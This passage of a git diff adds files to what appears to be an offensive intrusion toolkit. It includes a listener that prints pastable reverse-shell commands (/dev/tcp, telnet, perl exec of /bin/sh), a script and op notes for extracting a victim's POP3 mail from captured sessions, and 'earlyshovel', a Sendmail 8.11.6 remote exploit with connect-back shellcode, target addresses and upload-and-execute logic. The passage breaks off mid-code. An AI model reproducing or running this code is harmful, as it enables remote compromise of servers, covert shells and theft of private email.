2>\&1 and any stderr from commands + will not be seen in the $prog window). + +" ; +} + +doperlmode() if $perlmode ; # this won't return +# remainder is telnet/ksh mode +# split into two processes +print STDERR "When connection established, will send up these commands:\n$defaultcommands\n\n" unless $quiet; + +die "cannot fork: $! " unless (defined ($kidpid = fork())) ; + +if (! $kidpid) { # child + close (STDIN) ; # trying to fix + my ($line) ; # trying to fix + $server = IO::Socket::INET->new(LocalPort => $port2, + Type => SOCK_STREAM, + Reuse => 1, + Listen => 1 ) + or die "Cannot be a tcp server on port $port2 : $@\n"; + progprint("Waiting on $port2 for output",$COLOR_FAILURE,$COLOR_NOTE); + + + $client = $server->accept() ; + $other_end = getpeername($client) + or die "Could not identify other end: $!\n"; + ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end); + $other_ip = inet_ntoa($other_iaddr) ; + progprint("connect on $port2 for output from $other_ip:$other_port",$COLOR_FAILURE); + # parent accepts output from other end + while (defined ($line = <$client>) ) { + print STDOUT "$line" ; + } +} else { # parent + my ($line) ; # trying to fix + close (STDOUT) ; # trying to fix + $server2 = IO::Socket::INET->new(LocalPort => $port1, + Type => SOCK_STREAM, + Reuse => 1, + Listen => 1 ) + or die "Cannot be a tcp server on port $port1 : $@\n"; + progprint("Waiting on $port1 for input",$COLOR_FAILURE,$COLOR_NOTE); + + $client = $server2->accept() ; + $other_end = getpeername($client) + or die "Could not identify other end: $!\n"; + ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end); + $other_ip = inet_ntoa($other_iaddr) ; + progprint("connect on $port1 for input from $other_ip:$other_port",$COLOR_FAILURE); + print $client "$defaultcommands\n" unless $quiet; + + # child sends stdin through to other end + while (defined ($line = ) ) { + print $client "$line" ; + } + kill ( "TERM" => $kidpid); # send SIGTERM to child +} # end if kid or not +exit; + +sub usage { + @_ = () if ( $_[0] eq "-h") ; + print $usagetext unless (@_ or $opt_v) ; + print $vertext unless (@_) ; + progprint("\nFATAL ERROR: @_\n",$COLOR_FAILURE) if ( @_ and !$opt_h ); + exit; +} # end sub usage + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +} # end sub ipcheck + +sub myinit { + use File::Basename; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + + $prog = basename ${0} ; + $vertext = "$prog version $version\n" ; + $defaultcommands = "cd /tmp ; uname -a ; date ; date -u \ +w ; pwd ; ls -alrt ; pwd" ; + usage("bad option(s)") if (! &Getopts( "qvhi:peOo:" ) ) ; + $noescape = $opt_e ; + $scriptoverride = ($opt_O or ($opt_o eq "oo")); + $perlmode = $opt_p ; + $telnetmode = !$perlmode ; + $quiet = $opt_q ; + $destIP = $opt_i ; + unless ($destIP) { + my @interface = (ppp0,eth0,eth1) ; + foreach (@interface) { + last if ($destIP) = + (`ifconfig $_ 2>/dev/null | grep inet` =~ /inet addr:([0-9.]+) /) ; + } + } + $perlsamples = "${COLOR_NOTE} +WITH perl IN PATH (or tack a path in front of this):$COLOR_NORMAL +perl -e 'use IO::Socket;use IO::Handle;\$s=IO::Socket::INET->new(\"destIP:port1\");close(STDIN);close(STDOUT);IO::Handle->new_from_fd(\$s,\"r\");open(STDIN,\"<\$_\");IO::Handle->new_from_fd(\$s,\"w\");open(STDOUT,\">\$_\");exec \"/bin/sh\";' + +"; + $perlsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape; + $telnetsamples = "${COLOR_NOTE} +SOLARIS WITH ksh IN PATH (or tack a /bin/ in front of this):$COLOR_NORMAL + ksh -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\" + +${COLOR_NOTE} +LINUX WITH bash IN PATH or IN bash (or tack a /bin/ in front of this):$COLOR_NORMAL + bash -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\" + +${COLOR_NOTE} +ABOVE BUT ALREADY IN THE PROPER SHELL:$COLOR_NORMAL + cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1 +$COLOR_FAILURE +In the rest, change 300 to longer if you need it, or start at \"(telnet\" if you know +you have a good stdin) +${COLOR_NOTE} +IF NO JOY ABOVE:$COLOR_NORMAL + sleep 300 | (telnet destIP port1 2>\&1 ; sleep 1) | /bin/sh 2>\&1 | telnet destIP port2 2>\&1 + +${COLOR_NOTE} +IF NO JOY ABOVE AND ONLY HAVE csh (or see error \"Ambiguous output redirect\"):$COLOR_NORMAL + sleep 300 | (telnet destIP port1 ; sleep 1) | /bin/sh | telnet destIP port2 + +"; + $telnetsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape; + ($port1,$port2) = @ARGV ; + $port1 = int($port1) ; + $port2 = int($port2) ; + $port2 = $port1 + 1 unless ($port2 or !$port1); + if ($destIP) { + $telnetsamples =~ s/destIP/$destIP/g ; + $perlsamples =~ s/destIP/$destIP/g ; + } + $perlsamples =~ s/port1/$port1/g if $port1 ; + $telnetsamples =~ s/port1/$port1/g if $port1 ; + $perlsamples =~ s/port2/$port2/g if $port2 ; + $telnetsamples =~ s/port2/$port2/g if $port2 ; + if ($telnetmode) { + $samples = $telnetsamples; + } else { # perlmode + $samples = $perlsamples; + } + my $helpsamples = "" ; + $helpsamples .= "TELNET|dev/tcp MODE\n-------------------\n$telnetsamples" + if $telnetmode ; # only show TELNET if -p not given + $helpsamples .= "PERL MODE\n---------\n$perlsamples" ; + + $helpsamples =~ s/port1/$port1/g if $port1 ; + $helpsamples =~ s/port2/$port2/g if $port2 ; + + $usagetext = " +Usage: $prog [options] [-i destIP] port1 [port2] + + -O override \"script\" requirement + -q quiet mode -- initial commands skipped in telnet|/dev/tcp mode + -p perl mode -- use \"perl -e\" command to connect from target + -e do NOT escape \\, \$, \" and \` (backtick) in pastables + -i IP IP in pastables that target will be calling back to (usu. here) + +$prog waits for one or two tcp connections from a remote host. In perl +mode, just one port is used for both directions of traffic. In telnet +mode there are two: port1 is used to send commands to the remote system, +and port2 is used to bring output from those commands back. Note, however, +that both tcp connections are originated from the remote side (and so you +must somehow be able to get that command executed on the remote side). + +NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It + gives the error 'ambiguous redirect'. If you see that, change to sh + or bash before you run this on the other host (or use csh if you + must but omit the three occurrences of 2>\&1 and any stderr from + commands will not be seen in the $prog window). + +Use $prog with something like one of the following commands on the +remote host (ONLY ONE, and pick either telnet or perl mode with -p): + +$helpsamples +If port2 is omitted, port1+1 is used (but only in telnet|/dev/tcp mode). + +The commands shown above are given as pastables with the actual ports and +IP (a local IP is shown if -i is not provided). + +Unless the -q (quiet) parameter is used, $prog sends up these commands once a +connection is first received (but not in perl mode): + +"; + foreach (split (/\n/, $defaultcommands) ) { + $usagetext .= "\t$_\n"; + } + $usagetext .= "\n"; + usage() if ($opt_h or $opt_v) ; + usage("Bad IP $opt_i") if ($opt_i and (! &ipcheck($opt_i))) ; + $defaultcommands = "" if ($quiet) ; + usage("-h") unless (@ARGV == 1 or @ARGV == 2) ; + + usage("Invalid port $ARGV[0]") unless ($port1 eq $ARGV[0]) ; + usage("Invalid port $port1") if ($port1 < 1 or $port1 > 65534) ; + usage("Invalid port $port2") if ($port2 < 1 or $port2 > 65534) ; + + scriptordie() ; + # OK. Good to go from here. +}#myinit +sub progprint { + local ($what,$color,$color2,$what2) = (@_) ; + local $newlines ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + while (substr($what,0,1) eq "\n") { + $newlines .= "\n"; + $what = substr($what,1) ; + } + if ($color eq $COLOR_FAILURE) { + $newlines .= "\a" ; + select STDERR ; + } + $| = 1; + print "$newlines${color2}$prog\[$$]$what2: ${color}$what$COLOR_NORMAL\n" ; + select STDOUT ; +} +sub doperlmode { + my $running = "Now running"; + unless ($port1) { + $running = "If given a local port number to listen on, $prog would now have run"; + } + progprint("$running local listener via:\n\n exec \"spawn 127.0.0.1 $port1 listen\" ;"); + if ($port1) { + exec("spawn 127.0.0.1 $port1 listen") or die "$prog cannot exec spawn: $!\n"; + } + exit; +} +sub dbg { + progprint("DBG: @_"); +} +sub scriptordie { + my $ppid = getppid(); + my $pprocess = `ps -ef | grep $ppid | egrep -v "perl|grep"` ; + my ($pppid) = $pprocess =~ /\w+\s+\w+\s+(\w+)/ ; + $scriptordie = `ps -ef | grep $pppid | egrep -v "perl|grep" | grep script.*script` ; + unless ($scriptordie) { + my $processes = `ps -ef | egrep "$$|$pppid" | egrep -v "grep"` ; + unless ($scriptoverride) { + usage("\aYou must run $prog in a scripted window.\n\nI.e., grandparent process must match \"script.*/down\" and does not:$COLOR_NOTE\n$processes\n"); + } else { + progprint("WARNING: Overriding requirement for \"script -af\" in this window. + + That is there to protect you. If you continue unscripted, it's your problem. + $prog will proceed in 10 seconds. Just wait. +",$COLOR_FAILURE); + sleep 10 unless ($opt_o) ; + } + } else { + $scriptordie =~ s/.*script/script/ ; + chomp($scriptordie); + progprint("Confirmed this window is scripted ($scriptordie)"); + } +}#scriptordie diff --git a/Linux/bin/dtspcdx_sparc b/Linux/bin/dtspcdx_sparc new file mode 100755 index 0000000..5bbab35 Binary files /dev/null and b/Linux/bin/dtspcdx_sparc differ diff --git a/Linux/bin/dumppoppy b/Linux/bin/dumppoppy new file mode 100755 index 0000000..8807232 --- /dev/null +++ b/Linux/bin/dumppoppy @@ -0,0 +1,228 @@ +#!/bin/env perl +$version = "1.0.1.2"; +myinit(); +$inone=0; +$msgnumber = 0; +$message = ""; +$destfile = ""; +%destfile = (); +$onwritingline=0; +while (<>) { + next unless ($inone or /^RETR (\d+)/); + if (($disconnectcheck and /^Connection closed by foreign host/) + or /^RETR (\d+)/) { + mywarn("End of $destfile determined by \"^Connection closed by foreign host\"") + if (/^Connection closed by foreign host/ and $disconnectcheck ); + # process() returns only msgnumber, if any, so this clears other + # variables + ($msgnumber,$message,$destfile,$lastline,$ext,$dotext) = process(); + next unless $msgnumber ; + $destfile = "${destdir}$destname.$msgnumber.eml$dotext"; + if ($noclobber) { + my $origtry = $destfile; + until (! -e $destfile) { + $dotext = sprintf(".%03d",$ext++) ; + $destfile = "${destdir}$destname.$msgnumber.eml$dotext"; + $origtry = $destfile unless $origtry; + } + unless ($origtry eq $destfile) { + myprint("$origtry existed, writing $destfile instead"); + $instead=1; + } + } + if ( -e "$destfile") { + my $size = -s _; + if (!$noclobber and -e $destfile) { + myprint("$destfile already exists, size $size--clobbering"); + } + } else { + myprint($destfile) unless $instead; + } + open(OUT,"> $destfile") + or die "cannot open $destfile for write"; + $inone = 1; + $ok = <>; + next; + } + $message .= $lastline; + print OUT $lastline; + $lastline = $_; +}#while +mywarn("End of $destfile determined by EOF") + if ($msgnumber and $message and $destfile); +process("EOF"); +myprint("\n\nDone"); + +sub myinit { + use File::Basename qw(basename dirname); + require "getopts.pl"; + $prog = basename $0 ; + $vertext = "$prog version $version\n" ; + mydie("bad option(s)") if (! Getopts( "hvcd:qAU" )) ; + usage() if ($opt_h or $opt_v or !@ARGV) ; + # options + $disconnectcheck = !$opt_A; + $destname = shift @ARGV; + $noclobber = !$opt_c; + $destdir = $opt_d; + $quiet = $opt_q; + $togglededupe = $opt_U; + $windowshost=$ENV{OS} =~ /windows/i; + # error checking + eval "use Digest::MD5 qw(md5_hex);" + unless $windowshost; + if ($@ or $windowshost) { + $dedupe=0; + $usemd5=0; + $sumtype="byte check"; + my $why = "Cannot"; + $why = "On Windows host--not trying to" + if $windowshost; + mywarn("$why find Digest::MD5 qw(md5_hex)"); + if ($togglededupe) { + mywarn("You chose to use the less reliable simple sum--there is a \n". + "non-zero chance you might lose data due to incorrectly removing\n". + "what this simple sum detects as duplicate files.\n\n". + "PROCEED AT YOUR OWN RISK!!\n\n"); + $dedupe=1; + sleep 5; + } + } else { + $dedupe = $togglededupe ? 0 : 1 ; + $usemd5=1; + $sumtype="md5"; + } + mywarn("NOT trying to eliminate duplicate messages") + unless $dedupe; + mydie("Do not use / as a destination directory, nimrod") + if $destdir eq "/"; + $destdir = "./" unless $destdir; + $destdir =~ s,/*$,/, ; + mydie("Destination directory $destdir must exist") + if ($destdir and !-d $destdir); + mydie("Missing \"destname\" argument") + unless $destname; + mydie("Second argument \"$ARGV[0]\" must be a readable file") + unless ( -f $ARGV[0] and -r _ ); +} +sub usage { + my $output = ""; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + my $usagetext = usagestr(); + $output .= $usagetext unless $opt_v; + $output .= $vertext ; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + # progprint($output,$COLOR_NORMAL,STDOUT); + print STDOUT $output; + exit; +}#usage + +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + mywarn($what,$color,$color2,$what2); + exit 1; +}#mydie +sub mywarn { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $what="${color2}${prog}[$$]$what2: ${color}$what$COLOR_NORMAL"; + warn "$what\n" ; +}#mywarn + +sub myprint { + return if $quiet; + if ("@_" eq $destfile) { + print "\nwriting " unless $onwritingline++; + print "\t@_"; + } else { + print "\n" if $onwritingline; + $onwritingline=0; + print "@_\n"; + } +} +sub dbg { + mywarn(@_); +}#dbg + +sub sloppychecksum { + local ($buf,$seed) = (@_); + for (my $i = 0 ; $i < length($buf) ; $i+=1) { + $seed += ord(substr($buf,$i,1)); + }#for $i + return $seed; +}#sloppychecksum + +sub mysum { + return md5_hex($message) if ($usemd5); + return sloppychecksum($message); +}#mysum + +sub process { + close(OUT); + $instead=0; + $inone=0; + if ($msgnumber and $message and $destfile) { + if ($dedupe) { + my $newdigest = mysum($message) ; + dbg("$destfile sum is ".$newdigest) unless $quiet; + # if ($digest{$msgnumber} == $newdigest) { + if ($destfile{$newdigest}) { + mywarn("Removing $destfile, duplicate of $destfile{$newdigest} (${sumtype}sum=$newdigest)"); + close(OUT); + unlink($destfile); + } else { + $destfile{$newdigest} = $destfile; + $digest{$msgnumber} = $newdigest; + } + } + } + return (/^RETR (\d+)/) ; +} +sub usagestr { + return " +Usage: $prog [options] destname sourcefile + +Parses through content of the sourcefile, finding each e-mail +retrieved via a \"RETR ###\" POP3 command, writing each to the file: +mail.destname.###, where ### is the number RETRieved. + +If identical messages are retrieved, a checksum may be used to +eliminate duplicates. On non-Windows boxes where Digest::MD5 can be +found, this is done automatically (unless -U is used). + +If Digest::MD5 cannot be found, or if $prog is run from a Windows +host, a simple and slow checksum CAN BE used by adding the additional +-U option. This simple checksum is not 100% reliable, and it may happen +that different messages are mistakenly identified as duplicates. + +Unless the -c (clobber) option is used, if two RETR commands of the +same ### result in different messages, both will be preserved, with +each subsequent RETR of the same ### named \"mail.destname.###.MMM\", +where MMM is the first, starting at 000, that does not yet exist. This +may happen if two different users' mail are in the file being parsed, +and both happen to have the same ### message with different content. + +OUTPUT: $prog will print to STDOUT one or more informational + messages per RETRieved mail found (unless -q is used). + + +OPTIONS + +-d dir Destination directory in which to write files. DEFAULT: ./ +-c FORCE clobber of multiple RETR commands of the same message. + Only useful if multiple RETR of the same number WILL DEFINITELY + be from the same user AND resulted in different content (maybe + one was partial). MD5 sum will take care of identical RETRieved + messages nicely, so -c should seldom be needed. +-q Quiet--only show error output +-A DO NOT assume that \"^Connection closed by foreign host\" is the + end of a message. DEFAULT DOES. +-U Toggle de-dupe. (see above) + +Usage: $prog [options] destname sourcefile + +"; +}#usagestr diff --git a/Linux/bin/dumppoppy.USAGE b/Linux/bin/dumppoppy.USAGE new file mode 100755 index 0000000..9968b6f --- /dev/null +++ b/Linux/bin/dumppoppy.USAGE @@ -0,0 +1,43 @@ + +Usage: dumppoppy [options] destname sourcefile + +Parses through content of the sourcefile, finding each e-mail +retrieved via a "RETR ###" POP3 command, writing each to the file: +mail.destname.###, where ### is the number RETRieved. + +If identical messages are retrieved, a checksum may be used to +eliminate duplicates. On non-Windows boxes where Digest::MD5 can be +found, this is done automatically (unless -U is used). + +If Digest::MD5 cannot be found, or if dumppoppy is run from a Windows +host, a simple and slow checksum CAN BE used by adding the additional +-U option. This simple checksum is not 100% reliable, and it may happen +that different messages are mistakenly identified as duplicates. + +Unless the -c (clobber) option is used, if two RETR commands of the +same ### result in different messages, both will be preserved, with +each subsequent RETR of the same ### named "mail.destname.###.MMM", +where MMM is the first, starting at 000, that does not yet exist. This +may happen if two different users' mail are in the file being parsed, +and both happen to have the same ### message with different content. + +OUTPUT: dumppoppy will print to STDOUT one or more informational + messages per RETRieved mail found (unless -q is used). + + +OPTIONS + +-d dir Destination directory in which to write files. DEFAULT: ./ +-c FORCE clobber of multiple RETR commands of the same message. + Only useful if multiple RETR of the same number WILL DEFINITELY + be from the same user AND resulted in different content (maybe + one was partial). MD5 sum will take care of identical RETRieved + messages nicely, so -c should seldom be needed. +-q Quiet--only show error output +-A DO NOT assume that "^Connection closed by foreign host" is the + end of a message. DEFAULT DOES. +-U Toggle de-dupe. (see above) + +Usage: dumppoppy [options] destname sourcefile + +dumppoppy version 1.0.1.2 diff --git a/Linux/bin/dumppoppy.script b/Linux/bin/dumppoppy.script new file mode 100755 index 0000000..42dd314 --- /dev/null +++ b/Linux/bin/dumppoppy.script @@ -0,0 +1,40 @@ + +# DUMPPOPPY op script + +# DUMPPOPPY extracts POP3 mail between "RETR ###" commands from a file. +# +# See usage with: dumppoppy -h + + +# Use POP3 RETR commands to retrieve files in a scripted window. + +# The backtick here results in the name of your scripted file, though +# this may fail if the script command does not have the full path to it. + +# Where are we putting the mails? Pick one as your DESTDIR. + +# The MBOXNAME should be the guy's name or maybe the box' name. + +find /current/down/mailpull + +# vi pastables +mp +:%s,DESTDIR,DESTDIR,g +:%s,MBOXNAME,MBOXNAME,g +`p + +# dumppoppy command to extract mail -- run in same scripted window you RETRieved it in. + +dumppoppy -d DESTDIR MBOXNAME `pschain $$ | grep script.-.*f | grep -v grep | sed "s/.* //g" | sort -u` + + +# OR + +# dumppoppy commands to FIND all script files with RETR in them, then run dumppoppy on them. + +# Pastable to change /current/down to something else (or nothing): +mp +%s,/current/down/,,g +for sc in `grep -l "^RETR [0-9]*$" /current/down/script*` ; do + dumppoppy -d DESTDIR `basename $sc` $sc +done diff --git a/Linux/bin/dw.linux b/Linux/bin/dw.linux new file mode 100755 index 0000000..5374c1c Binary files /dev/null and b/Linux/bin/dw.linux differ diff --git a/Linux/bin/earlyshovel/DUL b/Linux/bin/earlyshovel/DUL new file mode 100755 index 0000000..87dc997 Binary files /dev/null and b/Linux/bin/earlyshovel/DUL differ diff --git a/Linux/bin/earlyshovel/SHA1SUMS b/Linux/bin/earlyshovel/SHA1SUMS new file mode 100644 index 0000000..823543a --- /dev/null +++ b/Linux/bin/earlyshovel/SHA1SUMS @@ -0,0 +1,16 @@ +5d1d48794126d035e954a90d08c94ee883e24058 asprh73.py +7d87156780da9c8bb28cac9b9bb8804201b82feb callback.py +fb360ecaaf24a6e3a75755f7b4ae1daacdbc333b eash.py +046c7780429d3006c6dcd138ebc1cc5acb0af882 finder.py +ac20166aab2e1bf84532a9156f8b04f9574a3738 interactive.py +69005d4b69b46ea4aa6d43072242231e1ff2762f opts.py +cca0473a4542324c293d3a48e1e9558b1f7ccc4e rh70.py +27fcacf7816a6116e872d4b661309f1351310f9f rh71.py +18d1f6dc74de656515ac88d07a48a120195f393d rh72.py +a7d5d098b01fd710263a26307f1f02f212928330 senders.py +1b9986dc8c7aee4717cedc7693f4c1f6093a099a smtpUtils.py +8de4197d10796a499757877662d99224c54f0725 targets.py +b8bb6743531885d5ce3c0425c664d88cd0025315 tmpnam.py +427555bab587f60334495310117e6f94ec4126ca upload.py +a2cc4d64e915863f0fd74f083c8cbf8bab70421e utils.py +c1db2a2f820750a71eff119aaa21ae7894e1ca28 DUL diff --git a/Linux/bin/earlyshovel/asprh73.py b/Linux/bin/earlyshovel/asprh73.py new file mode 100755 index 0000000..a8120c3 --- /dev/null +++ b/Linux/bin/earlyshovel/asprh73.py @@ -0,0 +1,8 @@ +import senders + +class asprh73(senders.senders): + version = "ASPRH73" + details = "ASP Linux 7.3 or RedHat 7.3 running Sendmail 8.11.6" + banner = "ESMTP Sendmail 8.11.6/8.11.6" + crackaddrBufLocation = 0x80c2660L + mciCacheLocation = 0x80c2960L diff --git a/Linux/bin/earlyshovel/callback.py b/Linux/bin/earlyshovel/callback.py new file mode 100644 index 0000000..56abbb7 --- /dev/null +++ b/Linux/bin/earlyshovel/callback.py @@ -0,0 +1,83 @@ +#!/usr/bin/python + +start = \ + "\xe9\x90\x00\x00\x00" + +picBegin = \ + "\x5f" + +socket = \ + "\x6a\x00\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb3\x01\x31\xc0\xb0\x66"\ + "\xcd\x80\x89\xc6" + +connect = \ + "\x6a\x10\x8d\x1f\x53\x50\x89\xe1\x31\xdb\xb3\x03\x31\xc0\xb0\x66"\ + "\xcd\x80\x83\xf8\x00\x7c\x48" + +dup2 = \ + "\x31\xc9\xb1\x03\x89\xf3" + +dup2Loop = \ + "\x49\x31\xc0\xb0\x3f\xcd\x80\x83\xf8\x00\x7c\x36\x83\xf9\x00\x75"\ + "\xef" + +close = \ + "\x31\xc0\xb0\x06\xcd\x80" + +sendAuth = \ + "\x8d\x8f\x10\x00\x00\x00\xe8\x28\x00\x00\x00" + +getpid = \ + "\x31\xc0\xb0\x14\xcd\x80\x50\x89\xe1\xe8\x1a\x00\x00\x00\x58" + +geteuid = \ + "\x31\xc0\xb0\x31\xcd\x80\x50\x89\xe1\xe8\x0b\x00\x00\x00\x58\xeb"\ + "\x35" + +exit = \ + "\x31\xdb\x31\xc0\xb0\x01\xcd\x80" + +write = \ + "\x31\xd2\x89\xd3\x89\xd0\xb2\x04\xb3\x01\x89\xd0\xcd\x80\x83\xf8"\ + "\x04\x75\xe5\xc3" + +callBackwards = \ + "\xe8\x6b\xff\xff\xff" + +# serv_addr +data = \ + "\x02\x00" + +cport = \ + "\xcd\xab" + +cip = \ + "\x78\x56\x34\x12" + +filler = \ + "\xff\xff\xff\xff\xff\xff\xff\xff" + +authCode = \ + "\x44\x43\x42\x41" + +def build(): + tmp = \ + start + \ + picBegin + \ + socket + \ + connect + \ + dup2 + \ + dup2Loop + \ + close + \ + sendAuth + \ + getpid + \ + geteuid + \ + exit + \ + write + \ + callBackwards + \ + data + \ + cport + \ + cip + \ + filler + \ + authCode + return tmp diff --git a/Linux/bin/earlyshovel/eash.py b/Linux/bin/earlyshovel/eash.py new file mode 100755 index 0000000..524764d --- /dev/null +++ b/Linux/bin/earlyshovel/eash.py @@ -0,0 +1,374 @@ +#!/usr/bin/env python +import os +import random +import re +import select +import socket +import string +import sys + +import opts +import smtpUtils +import targets +import utils + +import callback +import finder +import interactive +import upload + +badBytes = [0x0, 0xa, 0xd, 0x22, 0x24, 0x28, 0x29, 0x2b, 0x2f] \ + + range(0x80, 0xa0) + +def main(): + config = {'atimeout': + {'longOpt': 'atimeout', + 'arg': 'seconds', + 'type': int, + 'default': 30, + 'desc': "Authentication timeout (in seconds)"}, + 'cip': + {'longOpt': 'cip', + 'arg': 'IPAddress', + 'type': str, + 'default': '127.0.0.1', + 'desc': "Callback IP address"}, + 'clport': + {'longOpt': 'clport', + 'arg': 'port', + 'type': int, + 'desc': "Local callback port"}, + 'cport': + {'longOpt': 'cport', + 'arg': 'port', + 'type': int, + 'desc': "Callback port"}, + 'ctimeout': + {'longOpt': 'ctimeout', + 'arg': 'seconds', + 'type': int, + 'default': 30, + 'desc': "Callback timeout (in seconds)"}, + 'domain': + {'longOpt': 'domain', + 'arg': 'domainName', + 'type': str, + 'desc': "Domain name of sender"}, + 'exec': + {'longOpt': 'exec', + 'arg': 'filename', + 'type': str, + 'desc': "File to exec on successful upload"}, + 'recipient': + {'longOpt': 'recipient', + 'arg': 'emailAddress', + 'type': str, + 'default': 'root', + 'desc': "Email recipient"}, + 'target': + {'longOpt': 'target', + 'arg': 'target', + 'type': str, + 'desc': "Target OS"}, + 'tip': + {'longOpt': 'tip', + 'arg': 'IPAddress', + 'type': str, + 'default': '127.0.0.1', + 'desc': "Target IP address"}, + 'tmpnam': + {'longOpt': 'tmpnam', + 'arg': 'filename', + 'type': str, + 'desc': "Remote name of the uploaded file " + "(of the form /tmp/fileXXXXXX)"}, + 'tport': + {'longOpt': 'tport', + 'arg': 'port', + 'type': int, + 'default': 25, + 'desc': "Target port"}, + 'upload': + {'longOpt': 'upload', + 'arg': 'filename', + 'type': str, + 'desc': "File to upload"} + } + + parms = opts.opts(sys.argv[0], config, targets.list) + args = parms.parseCommandLine(sys.argv[1:]) + + status = doExploit(parms) + if (-1 == status): + return 1 + return status + +def authenticateCallback(s, authCode, atimeout): + r = '' + while (1): + readable, writable, exceptional = select.select([s], [], [], atimeout) + if s in readable: + reply = s.recv(4 - len(r)) + if ((None == reply) or ("" == reply)): + break + else: + r += reply + if (authCode[0:len(r)] == r): + if (4 == len(r)): + print " ... and it authenticated properly." + return 0 + else: + break + else: + print " ... but it did not authenticate in time." + return -1 + print " ... but it did not authenticate properly." + return -1 + +def bindCallbackListener(cport, clport): + ld = socket.socket() + ld.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + if (None == cport): + if (None != clport): + print "clport specified without cport -- ignoring." + ld.bind(("", 0)) # neither specified, pick random + ip, realCport = ld.getsockname() + else: + if (None != clport): + ld.bind(("", clport)) + else: + ld.bind(("", cport)) + ld.listen(64) + if (None == cport): + return ld, realCport + return ld + +def doExploit(parms): + target = targets.factory(parms.get('target', None), badBytes) + if (None == target): + print "No target OS specified." + return -1 + + cport = parms.get('cport', None) + clport = parms.get('clport', None); + if (None == cport): + ld, cport = bindCallbackListener(cport, clport) + else: + ld = bindCallbackListener(cport, clport) + + cip = parms.get('cip') + callback.cip = socket.inet_aton(cip) + callback.cport = utils.u16ToBeU16String(cport) + + authCode = utils.randomBase64(4,6) + callback.authCode = authCode + + ufile = parms.get('upload', None) + if (None != ufile): + tmpnam = parms.get('tmpnam', None) + if (None == tmpnam): + tmpnam = utils.tmpnam() + efile = parms.get('exec', None) + if ((None != efile) + and not (os.access(efile, os.F_OK or os.X_OK))): + print "%s either does not exist or is not executable" % efile + ld.close() + return -1 + fd = open(ufile, 'r') + ufileContents = fd.read() + fd.close() + mask = chr(random.randint(0,255)) + upload.data = mask # okay, so I mean upload.mask, but oh well + upload.tmpnam = tmpnam + "\0" + unencoded = callback.build() + upload.build() + else: + unencoded = callback.build() + interactive.build() + encoded = dulEncode(unencoded) + + domain = parms.get("domain", None) + if (None == domain): + domain = utils.buildBuffer(0xe, badBytes) + + senderBegin = '\"' + utils.buildBuffer(3, badBytes) + senderEnd = "\"@" + domain + + + recipient = parms.get('recipient') + + finderValue = utils.buildBuffer(4, badBytes) + sender2 = target.buildSender2(finderValue) + if (None == sender2): + print "Error building exploit message." + ld.close() + return -1 + + body = finderValue + encoded + + tip = parms.get('tip') + tport = parms.get('tport') + sd, banner = smtpUtils.connect(tip, tport, True) + print banner.strip() + if (None == re.compile(target.banner).search(banner)): + print "The target's banner does not match expected banner." + response = ' ' + while (("y" != response[0]) and ("n" != response[0])): + response = string.lower(raw_input("Continue [y/N]? ")); + if ('' == response): + response = "n" + if ("n" == response[0]): + sys.exit() + + smtpUtils.helo(sd, domain, validResponse) + sent = 0 + maxLen = 0xff - len(senderBegin) - len(senderEnd) + chop = maxLen % 4 + maxLen -= chop + atimeout = parms.get('atimeout', None) + if ("None" == atimeout): + atimeout = None + print "Sending a maximum of %d messages..." % (maxLen // 4) + for fillLen in range(maxLen, 0, -4): + # poll to see if we've received a callback + status, ad = waitForCallback(ld, authCode, 0, atimeout) + if (1 != status): + smtpUtils.quit(sd) + print "Sent %d messages." % sent + break + # send a new message + sender1 = senderBegin + senderBody = target.buildSender1(fillLen) + if (None == senderBody): + ld.close() + return -1 + sender1 += senderBody + sender1 += senderEnd + + try: + smtpUtils.mailFrom(sd, sender1, validResponse) + smtpUtils.rcptTo(sd, recipient, validResponse) + except smtpUtils.smtpError, err: + err.printMsg() + print "\nSent %d messages." % sent + ld.close() + return -1 + smtpUtils.data(sd) + smtpUtils.sendMsg(sd, "From: " + sender2, "Keywords: " + body) + buf = smtpUtils.recvReply(sd).strip() + print "%s:\t%s" % (hex(fillLen), buf) + sent += 1 + else: + smtpUtils.quit(sd) + print "Sent %d messages." % sent + print "Waiting for a callback..." + ctimeout = parms.get('ctimeout', None) + if ("None" == ctimeout): + ctimeout = None + status, ad = waitForCallback(ld, authCode, ctimeout, atimeout) + + ld.close() + if (0 != status): + return -1 + + readConnectionInfo(ad) + + if (None != ufile): + print "Uploading %s to %s" % (ufile, tmpnam) + status = uploadFile(ad, ufileContents, mask); + if (1 == status): + print "Upload successful" + if (None != efile): + print "Exec'ing %s" % efile + fd = "%d" % ad.fileno() + args = (efile, "-i", fd) + os.execv(efile, args) + print "Local exec failed" + else: + reply = ad.recv(1024) + if ("" == reply): + print "Remote exec succeeded" + return 0 + elif (-1 == 